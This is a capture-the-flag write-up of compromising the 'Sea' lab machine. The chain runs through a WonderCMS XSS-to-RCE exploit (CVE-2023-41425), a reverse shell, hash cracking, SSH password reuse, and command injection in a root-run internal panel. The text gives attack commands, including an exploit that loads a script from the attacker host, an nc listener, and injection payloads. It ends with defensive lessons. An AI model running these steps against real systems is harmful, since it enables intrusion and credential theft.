Sea

TL;DR. Sea is an easy Linux box. Port 80 serves a site built with WonderCMS, with a form an administrator reviews. That allows exploiting CVE-2023-41425: we submit, in the Website field, a link with a <script> that loads our xss.js; when the admin opens it, the script steals their token and installs a malicious theme that gives us a reverse shell as www-data. From there, WonderCMS's database stores a password hash that we crack and reuse over SSH to grab user.txt. For root, an internal monitoring panel on port 8080 (reachable via port forwarding) is vulnerable to command injection and runs as root.

Note. The original notes for this box only document the initial access in detail (the XSS-to-RCE chain, with its captures). The privilege escalation is reconstructed here from the public exploit and the box's known behaviour, with commands and explanation, without reproducing values (passwords, flags) that do not appear in the captures.

Reconnaissance

Initial scan

The earlier ping returns a TTL near 64, a hint of Linux (the TTL starts at 64 and drops by one per routing hop; it is a hint, not proof). A full TCP scan with nmap shows two open ports: 22 (SSH) and 80 (HTTP).

nmap -p- --open -n -sS -Pn --min-rate 5000 -vvv 10.10.11.28

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

nmap -p22,80 -sCV 10.10.11.28

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH (Ubuntu)
80/tcp open  http    Apache httpd (Ubuntu)

WonderCMS and the registration form

Fuzzing directories reveals a /themes/ (along with /data/ and /plugins/), the typical structure of WonderCMS, a minimalist PHP content management system. The site is a personal page with a section that includes a form ("Competition registration") asking for name, email, age, country and a Website field. The very existence of such a form suggests that someone (an administrator) reviews it from the panel, exactly the condition the vulnerability needs.

Shell as www-data

CVE-2023-41425: from XSS to RCE

WonderCMS (versions 3.2.0 to 3.4.2) is vulnerable to CVE-2023-41425, which chains an XSS with the theme install to achieve code execution. The form's Website field is not sanitised: if we submit a link containing a <script> tag, that script will run in the administrator's browser when they open our entry.

We use the public exploit by prodigiousMind, which generates an xss.js. That script, running in the admin's session, reads their WonderCMS token and uses it to install a malicious theme (a ZIP with a PHP reverse shell). We set it up like this: we start an HTTP server to serve the xss.js and a listener to catch the shell.

git clone https://github.com/prodigiousMind/CVE-2023-41425
python3 exploit.py http://10.10.11.28/index.php?page=loginURL 10.10.15.39 <port>
python3 -m http.server 8000     # serves the xss.js
nc -lvnp <port>                 # receives the reverse shell

In the form, the Website field carries the payload that loads our xss.js from the attacker machine (http://10.10.15.39:8000/xss.js):

When the administrator reviews the entry, their browser runs the xss.js, installs the theme and fires the reverse shell. In our terminal we see the incoming connection: we are www-data.

listening on [any] 4444 ...
connect to [10.10.15.39] from (UNKNOWN) [10.10.11.28] 4494
$ whoami
www-data

Shell as amay

Password hash in the WonderCMS database

WonderCMS does not use a SQL database: it stores its configuration (including the admin's password hash) in a JSON file inside its data/ directory. As www-data, we read it.

cat /var/www/sea/data/database.js

That file holds a bcrypt hash (prefix $2y$). It cannot be reversed, but it can be cracked with a dictionary:

john --wordlist=rockyou.txt --format=bcrypt hash.txt

Credential reuse over SSH

/etc/passwd has one real shell user besides root: amay. Since people reuse passwords, we try the one recovered from database.js for SSH. The password is reused and we log in as amay, with user.txt in their home.

ssh amay@10.10.11.28
cat /home/amay/user.txt

Shell as root

A monitoring panel on localhost

Enumerating listening services, one is bound to 127.0.0.1:8080, unreachable from outside. To get to it we set up an SSH port forward, which relays that internal port to our machine.

ssh -L 8080:127.0.0.1:8080 amay@10.10.11.28

Opening http://localhost:8080 shows a small system-monitoring panel (a script that analyses log files and shows machine info). It asks for a password, which is the same as amay's.

Command injection as root

The panel has a feature that takes the path of a log file to "analyse". Under the hood, that parameter ends up passed to the shell unsanitised, so it is vulnerable to command injection: by adding a metacharacter (;, |, $(...)) we slip in our own command. And, since the service runs as root, that command runs with its privileges.

# in the file-to-analyse parameter:
/var/log/apache2/access.log; id

With execution as root it is trivial to read the flag (or launch a root reverse shell, or add our SSH key to /root/.ssh/authorized_keys).

# injecting: ; cat /root/root.txt
cat /root/root.txt

Box rooted.

Attack chain

HTTP sea (80)  ─►  WonderCMS  ─►  form with a Website field
  │  CVE-2023-41425: <script> loads xss.js in the admin's session
  ▼
xss.js steals the token  ─►  installs a malicious theme  ─►  www-data (reverse shell)
  │  data/database.js: bcrypt hash
  ▼
john (cracking)  ─►  SSH amay (credential reuse)  ─►  user.txt
  │  internal service 127.0.0.1:8080  +  ssh -L (port forwarding)
  ▼
monitoring panel  ─►  command injection (runs as root)  ─►  root.txt

Lessons learned

• An XSS against an administrator is RCE. The unsanitised Website field let us run our script in the admin's session, steal their token and install a theme with a reverse shell. XSS is not "just" stealing cookies: with the right victim, it is server compromise. Sanitising and escaping any input rendered in the panel, plus a strict CSP, would have cut it.
• Configuration holds secrets even without a SQL database. WonderCMS left the password hash in a readable JSON; that is where the credential came from. Protect those files and do not assume "no SQL" means nothing to steal.
• Passwords get reused between the CMS and the system. The database.js one also worked for amay's SSH: reusing credentials turns an application secret into system access. Distinct credentials per service would have stalled the pivot.
• What listens on localhost is still attack surface. The 8080 panel only accepted internal connections, but a port forward brings it within reach. Segmentation helps, but it is no substitute for validating and hardening every internal service.
• Passing input to the shell hands over the process. The panel concatenated a parameter into a command and ran as root: a command injection gave root directly. Never build commands from user input; separate binary and arguments and apply least privilege.